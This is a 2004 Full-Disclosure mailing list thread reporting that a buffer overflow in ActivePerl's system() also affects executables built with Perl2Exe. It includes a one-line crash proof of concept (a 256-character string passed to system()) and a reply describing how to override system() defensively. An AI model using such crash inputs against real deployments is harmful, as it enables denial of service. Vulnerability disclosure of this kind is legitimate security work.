Perl2Exe rolls the interpreter up into the exe so if the interpreter is vulnerable,
then the exe will be too. With the service compiler you will have the same situation
in services compiled as 'standalone'; if you compile 'dependent' services you are at
the mercy of the perl interpreter on the system you deploy the service on.
You can change the behavior of the perl 'system' in a perl script like so.
use subs qw (system);
sub system { my ($cmd)[EMAIL PROTECTED]; print"what, me run $cmd ? "; }
$a="A" x 256; system($a);
You can reach out from your custom system subroutine to the real thing if you'd like
by calling CORE::system if you want to scrub arguments some more before passing them
to the system.
-
Steve Blass
-----Original Message-----
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] Behalf Of Clint
Bodungen
Sent: Thursday, May 20, 2004 12:44 PM
To: morning_wood; 0day; [EMAIL PROTECTED]
Subject: Re: [Full-Disclosure] ActivePerl Perl2Exe [was] Buffer Overflow
in ActivePerl ?
I haven't tested it yet but this also probably means that the msi/Microsoft
service compilor in the Activeperl Developer's Kit is as well then.
----- Original Message -----
From: "morning_wood" <[EMAIL PROTECTED]>
To: "0day" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
Sent: Thursday, May 20, 2004 2:08 PM
Subject: [Full-Disclosure] ActivePerl Perl2Exe [was] Buffer Overflow in
ActivePerl ?
> binaries created via perl2exe also are affected.
>
> C:\>type 1.pl
> #
> $a="A" x 256; system($a);
>
> C:\>perl2exe -v 1.pl
> Perl2Exe V7.02 Copyright (c) 1997-2003 IndigoSTAR Software
> Cmd = -v 1.pl
> CWD = C:\
> Known platforms: Win32
> Target platform = Win32 5.006001
> $I =
> $ENV{'PERL5LIB'} =
> Found perl.exe at C:\Perl\bin
> LibList = C:\Perl\lib,C:\Perl\site\lib,.
> Converting '1.pl' to 1.exe
> Compiling 1.pl
>
> C:\>1.exe
> [BIG CRASH]
>
> C:\>
>
>
>
> Donnie Werner
> http://exploitlabs.com
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
